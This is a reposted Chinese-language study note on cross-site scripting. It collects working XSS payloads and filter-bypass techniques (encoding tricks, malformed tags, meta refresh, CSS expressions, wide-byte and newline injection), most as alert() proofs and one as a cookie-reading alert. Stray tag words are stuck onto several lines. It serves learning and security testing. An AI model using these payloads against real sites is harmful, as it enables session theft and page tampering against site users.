【轉】XSS零碎指南

該文章是本人兩天的學習筆記,共享出來,跟你們交流。知識比較零散,可是對有必定 JS 基礎的人來講,每一個小知識都有助於開闊你的 Hack 視角。首先聲明,本文只是 XSS 攻擊的冰山一角,讀者自行深刻研究。javascript

本文地址:http://www.cnblogs.com/hustskyking/p/xss-snippets.html ,轉載請保留源地址。php

1、XSS學習提要
  1. http://qdemo.sinaapp.com/ppt/xss/
    三水清 簡單介紹 xss
  2. http://drops.wooyun.org/tips/689
    烏雲 xss與字符編碼
  3. http://www.wooyun.org/whitehats/心傷的瘦子
    系列教程
  4. http://ha.ckers.org/xss.html
    反射性XSS詳細分析和解釋
  5. http://html5sec.org/
    各類技巧 ★★★★★
  6. http://www.80sec.com/
    一些不錯的文章
2、XSS攻擊要點

注意:這些插入和修改都是爲了避開瀏覽器自身的過濾,或者開發者認爲的過濾。css

1. JS函數。html

document.write innerHTML eval setTimeout/setInterval等等都是不少XSS攻擊注入的入口html5

2. html實體編碼java

> "alert("Barret李靖")".replace(/./g, function(s){
     return "&#" + s.charCodeAt(0)
      /*.toString(16) 轉換成16進制也能夠滴*/
      + ";"
  });

> "alert(1)"

<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;" />

3. 若是過濾 html 實體編碼,能夠改爲URL編碼git

> encodeURIComponent("&#")
> "%26%23"

4. 利用 HTML5 新增字符程序員

&colon; 冒號
&NewLine; 換行

<a href="javascr&NewLine;ipt&colon;alert("Barret李靖")">XSS</a>

5. JS進制轉換github

> "\74\163\143\162\151\160\164\76\141\154\145\162\164\50\61\51\74\57\163\143\162\151\160\164\76"
> "<script>alert("Barret李靖")</script>"

6. Base64轉換web

> base64("<script>alert("Barret李靖")</script>");
> PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

<a href="data:text/html;base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">XSS</a>

7. 瀏覽器解析非嚴格性

<img src=image.jpg title="Hello World" class="test">
  ↓ ↓    ↓        ↓      ↓            ↓
  ①②   ③        ④     ⑤           ⑥

①中可插入 NUL字符(0x00)

②和④中空格可使用 tab(0x0B)與換頁鍵(0x0C),

②還可使用 / 替換

⑤中的"在IE中也可替換成`。

位置      |        代碼               | 可能插入或替代的代碼
------------|---------------------------|-----------------------
<的右邊      | <[here]a href="...        | 控制符,空白符,非打印字符
a標籤的後門  | <a[here]href="...         | 同上
href屬性中間 | <a hr[here]ef="...        | 同上+空字節
=兩邊       | <a href[here]=[here]"...  | 全部字符
替換=       | <a href[here]"...         | Union編碼符號
替換"       | <a href=[here]…[here]>    | 其餘引號
>以前       | <a href="…"[here]>        | 任意字符
/以前       | <a href="…">...<[here]/a> | 空白符,控制符
/以後       | <a href="…">...</[here]a> | 空白符,控制符
>閉合以前    | <a href="…"></a[here]>  | 全部字符

8. 斜槓

在字符串中斜槓(/)能夠用於轉義字符,好比轉義 " 和 ' ,雙斜槓(//)能夠用來註釋。這樣能夠很輕鬆的改變以前的語句,注入內容。

9. 空格的處理方式

在解析的時候空格被轉移成 &nbsp;,注入的時候可使用 /**/來替換。

10. 特殊屬性

1)srcdoc屬性(chrome有效)

<iframe srcdoc="&lt;script&gt;alert("Barret李靖")&lt;/script&gt;"></iframe>

2)autofoucus

<input onfocus=write(1) autofocus>

3)object

<object classid="clsid:333c7bc4-460f-11d0-bc04-0080c7055a83">
    <param name="dataurl" value="javascript:alert("Barret李靖")">
</object>

11.繞過瀏覽器過濾(crhome)

?t="><img src=1 onerror=alert("Barret李靖")>
<input type="hidden" id="sClientUin" value="">

瀏覽器會過濾onerror中的代碼,因此換種方式注入

?t="><script src="data:text/html,<script>alert("Barret李靖")</script><!--

chrome攔截,是有必定的攔截規則的,只有它以爲是惡意代碼的纔會去攔截。

12.替換URL

<xss style="behavior: url(xss.htc);">
<style>.xss{background-image:url("javascript:alert('xss')");}</style><a class=xss></a>
<style type="text/css">body{background:url("javascript:alert('xss')")}</style>

13.抓包、換包

3、XSS攻擊方式

1. javascript:和vbscript:協議執行後的結果將會映射在DOM後面。

<a href="javascript:'\x3cimg src\x3dx onerror=alert("Barret李靖")>'">click me</a>

2. 變量覆蓋

<form id="location" href="bar">
<script>alert(location.href)</script>

3. meta標籤

<meta http-equiv="refresh" content="0; url=javascript:alert(document.domain)">
Javascript: 協議可能被禁止,可使用 data:
<meta http-equiv="refresh" content="0; url=data:text/html,<script>alert("Barret李靖")</script>">

4. css注入

<style>
@import "data:,*%7bx:expression(write(1))%7D";
</style>
<style>
@imp\ ort"data:,*%7b- = \a %65x\pr\65 ssion(write(2))%7d"; </style>
<style>
<link rel="Stylesheet" href="data:,*%7bx:expression(write(3))%7d">

5. 提早閉合標籤

http://example.com/test.php?callback=cb

缺陷代碼:
<script type='text/javascript'>
    document.domain='soso.com';
    _ret={"_res":2};
    try{
        parent.aaa(_ret);
    }catch(err){
        aaa(_ret);
    }
</script>

注入:http://example.com/test.php?callback=cb</script><script>alert("XSS")</script>

原理:cb爲回調函數,若是後端並無對callback字段進行過濾,則能夠cb</script><script>alert("XSS")</script>這麼長的一串做爲函數名,而後你就懂啦~ 本方式只針對上面有缺陷的代碼。

6. 提早閉合雙引號

<input type="text" value="XSS&quot; onclick=&quot;alert("Barret李靖")" />

<!--<img src="--><img src=x onerror=alert("Barret李靖")//">
<comment><img src="</comment><img src=x onerror=alert("Barret李靖")//">
<![><img src="]><img src=x onerror=alert("Barret李靖")//">
<style><img src="</style><img src=x onerror=alert("Barret李靖")//">

7. 阻止編碼

?t=;alert("Barret李靖")
<script type="text/javascript">
    var t = query(t); // t = "&quot;;alert("Barret李靖")"
</script>

上面能夠看到 ";" 被編碼了,觀察頁面編碼:

<meta http-equiv="Content-Type" content="text/html; charset=gb18030" />

gbxxx系列編碼,能夠嘗試寬字節:

?t=%c0%22alert("Barret李靖")

8. 攻擊單行註釋

URL對應的param中添加換行符(%0a)或者其餘換行符。

?t=%0aalert("Barret李靖")//

// init('id', "%0aalert("Barret李靖")//");

被解析成

// init('id', "
alert("Barret李靖")//");

9. url

url中可使用不少協議 http:// https:// javascript: vbscript: data:等等,利用這些屬性,能夠找到不少的空隙。

<a href="data:text/html,<script>alert("Barret李靖")</script>">XSS</a>

10. Flash跨域注入

這個我不太熟悉,如今網頁上Flash用的愈來愈少了,懶得繼續看了。

11. 利用事件

<iframe src=# onmouseover="alert(document.cookie)"></iframe>

12. 利用標籤

<table><td background="javascript:alert('xss')">
4、XSS攻擊實質

XSS攻擊沒太多神奇的地方,就是利用瀏覽器防護不周到或者開發者代碼不健壯,悄悄對頁面或者服務器進行攻擊。

1. 繞過過濾

URL中的 <,在DOM XSS中,可使用 \u003c (unicode編碼)表示,不過他有可能被過濾了,最後解析成&lt;,也可使用 \x3c (Javascript 16進制編碼),> 對應使用 \x3e。這種狀況常常在 innerHTML 以及 document.write 中用到。

所謂的過濾包括人工過濾,也包括了瀏覽器HTML與JavaScript自己的過濾,程序員會在瀏覽器自己過濾過程當中進行一些干擾和修改,這幾個流程都給咱們提供了不少 xss 攻擊的入口。

1) 數據須要過濾,可是未過濾。致使XSS。好比:暱稱、我的資料。

2) 業務需求使得數據只能部分過濾,但過濾規則不完善,被繞事後致使XSS。好比:日誌、郵件及其它富文本應用。

2. 利用源碼中js的解析

好比第二部分提出的第11點,瀏覽器的攔截

?t="><script>alert("Barret李靖")</script>

這樣的插入會被攔截,當你發現源碼中有這麼一句話的時候:

function parseURL(){
    //...
    t.replace("WOW", "");
    //..
}

即可以修改如上參數:

?t="><scrWOWipt>alert("Barret李靖")</scrWOWipt>

直接繞過了chrome瀏覽器對危險代碼的防護。

5、學會XSS攻擊

1. 尋找可控參數

攻擊入口在哪裏?通常是有輸入的地方,好比URL、表單、交互等。

  • 含參數的URL中找到參數 value 值的輸出點,他可能在html中輸入,也多是在javascript中
  • 實驗各類字符(< , > " '等),判斷是否被過濾,測試方式,手動輸入測試
  • 肯定可控範圍,是否可使用unicode編碼繞過,是否可使用HTML編碼繞過,是否可使用Javascript進制編碼繞過等等

2. 開始注入

注入細節上面都是,基本的思惟模式:

  • 覆蓋
  • 阻斷
  • 利用特性

3. 修補注入錯誤

注入後保證沒有語法錯誤,不然代碼不會執行,注入了也沒用。這裏的意思是,你注入的一個參數可能在腳本多處出現,你能夠保證一處沒語法錯誤,可是不能保證到處都正確

4. 開搞

測試的時候alert("Barret李靖"),彈出成功再繼續其餘更邪惡的注入方式。

6、XSS分類

爲何留到後面說。XSS也瞭解了不少次了,每次都是先從概念觸發,感受沒啥意思,什麼反射性、DOM型、儲存型等等,還不如先去實踐下,憑着本身對XSS的理解,多看幾個網站的源碼,找找樂趣。

存儲型和反射型相比,只是多了輸入存儲、輸出取出的過程。簡單點說:

反射型是:輸入--輸出;
存儲型是:輸入--進入數據庫*--取出數據庫--輸出。

這樣一來,你們應該注意到如下差異:

反射型是:絕大部分狀況下,輸入在哪裏,輸出就在哪裏。
存儲型是:輸入在A處進入數據庫,
而輸出則可能出如今其它任何用到數據的地方。

反射型是:輸入大部分位於地址欄或來自DOM的某些屬性,也會偶爾有數據在請求中(POST類型)存儲型是:輸入大部分來自POST/
GET請求,常見於一些保存操做中。

於是咱們找存儲型的時候,從一個地方輸入數據,須要檢測不少輸出的點,從而可能會在不少點發現存儲型XSS。

7、輔助工具
  1. http://ha.ckers.org/xsscalc.html
  2. chrome插件 (xss Encode,百度之)
  3. 抓包工具,fiddler4 chales
  4. 白名單過濾工具github/js-xss
8、小結

簡單小結:

  • & 號不該該出如今HTML的大部分節點中。
  • 括號<>是不該該出如今標籤內的,除非爲引號引用。
  • 在ext節點裏面,<左尖括號有很大的危害。
  • 引號在標籤內可能有危害,具體危害取決於存在的位置,可是在text節點是沒有危害的。
  • 。。。

關注漏洞報告平臺 Wooyun,多動腦筋,手動 hack。最重要的仍是先黑客再紅客。

 
9、參考資料
相關文章
相關標籤/搜索